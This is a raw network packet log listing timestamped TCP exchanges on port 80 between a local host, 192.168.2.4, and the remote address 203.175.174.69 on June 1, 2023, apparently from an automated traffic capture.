Jun 1, 2023 12:14:30.050961018 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.050985098 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051002979 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.051011086 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051037073 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051048040 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.051059961 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051083088 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051084042 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.051110029 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051122904 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.051141024 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051171064 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051177025 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.051199913 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051229000 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051238060 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.051259995 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051286936 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051295996 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.051312923 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051340103 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051351070 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.051367044 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051393032 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051407099 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.051424026 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051451921 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051465034 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.051474094 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051496983 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051516056 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.051523924 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051547050 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051564932 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.051567078 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051592112 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051609993 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.051618099 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051642895 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051661968 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.051667929 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051688910 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.051697016 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051717997 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.051723957 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051752090 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051764965 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.051776886 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.051816940 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.219553947 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.219585896 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.219604969 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.219620943 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.219641924 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.219661951 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.219683886 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.219692945 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.219706059 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.219728947 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.219742060 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.219752073 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.219760895 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.219774961 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.219798088 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.219803095 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.219820023 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.219841003 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.219863892 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.219863892 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.219887018 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.219890118 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.219908953 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.219924927 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.219932079 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.219955921 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.219976902 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.219997883 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220005989 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.220020056 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220021963 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.220041990 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220062971 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220067978 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.220083952 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220104933 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220125914 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220133066 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.220148087 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220163107 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.220170021 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220192909 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220201015 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.220215082 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220236063 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220242977 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.220261097 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220293999 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.220304966 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220325947 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220346928 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220362902 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.220370054 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220391989 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220397949 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.220413923 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220436096 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220443010 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.220458031 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220479965 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220484018 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.220500946 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220523119 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220526934 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.220544100 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220563889 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220568895 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.220586061 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220607996 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220612049 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.220628977 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220649958 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220655918 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.220669985 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.220695972 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.273478031 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.388366938 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388408899 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388437033 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388461113 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388473988 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.388488054 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388513088 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388519049 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.388540030 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388559103 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.388566017 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388592958 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388607979 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.388617039 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388643026 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388668060 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388691902 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388715029 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.388715982 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388739109 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.388741970 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388765097 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.388767958 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388793945 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388816118 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.388818026 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388844013 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388858080 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.388870001 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388894081 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388914108 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.388920069 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388946056 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388966084 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.388968945 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.388995886 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389020920 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389044046 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389069080 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389091969 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389115095 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389115095 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.389139891 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389161110 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.389162064 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389187098 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389209986 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389210939 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.389235020 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389255047 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.389260054 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389285088 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389303923 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.389309883 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389334917 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389353037 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.389357090 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389381886 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389401913 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.389405966 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389430046 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389450073 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.389455080 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389478922 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389499903 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.389502048 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389524937 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389543056 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.389549017 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.389596939 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.441375971 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.441433907 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.441504002 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.557511091 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.557571888 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.557606936 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.557621956 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.557641983 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.557673931 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.557682037 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.557708025 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.557739973 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.557748079 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.557771921 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.557802916 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.557811022 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.557833910 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.557864904 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.557873964 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.557895899 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.557929039 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.557935953 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.557961941 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.557991982 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558005095 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.558022022 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558052063 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558062077 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.558084965 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558115959 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558125973 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.558147907 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558177948 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558191061 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.558211088 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558248997 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558249950 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.558280945 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558315039 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558320045 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.558343887 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558374882 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558384895 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.558408022 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558438063 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558465004 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.558469057 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558501005 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558507919 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.558532000 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558562040 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558569908 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.558593035 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558624983 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558634043 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.558657885 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558687925 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558695078 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.558718920 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558751106 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558756113 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.558780909 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558811903 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558821917 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.558844090 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558873892 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558881998 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.558903933 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558934927 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558943987 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.558967113 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.558999062 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.559006929 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.559031010 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.559077978 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.609349966 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.609394073 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.609505892 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.726768017 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.726835012 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.726882935 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.726902008 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.726931095 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.726984978 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.726989985 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.727035046 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.727083921 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.727097034 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.727133036 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.727184057 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.727196932 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.727245092 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.727292061 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.727293968 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.727343082 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.727391005 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.727394104 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.727443933 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.727490902 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.727492094 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.727540016 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.727590084 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.727590084 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.727638006 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.727685928 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.727689028 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.727732897 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.727781057 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.727790117 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.727842093 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.727888107 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.727896929 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.727936983 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.727983952 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.727993965 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.728030920 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.728077888 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.728077888 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.728125095 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.728172064 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.728176117 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.728219032 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.728275061 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.728286028 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.728337049 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.728370905 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.728410006 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.728427887 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.728457928 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.728507042 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.728552103 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.728555918 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.728606939 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.728631973 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.728655100 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.728703022 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.728703022 CEST	49695	80	192.168.2.4	203.175.174.69
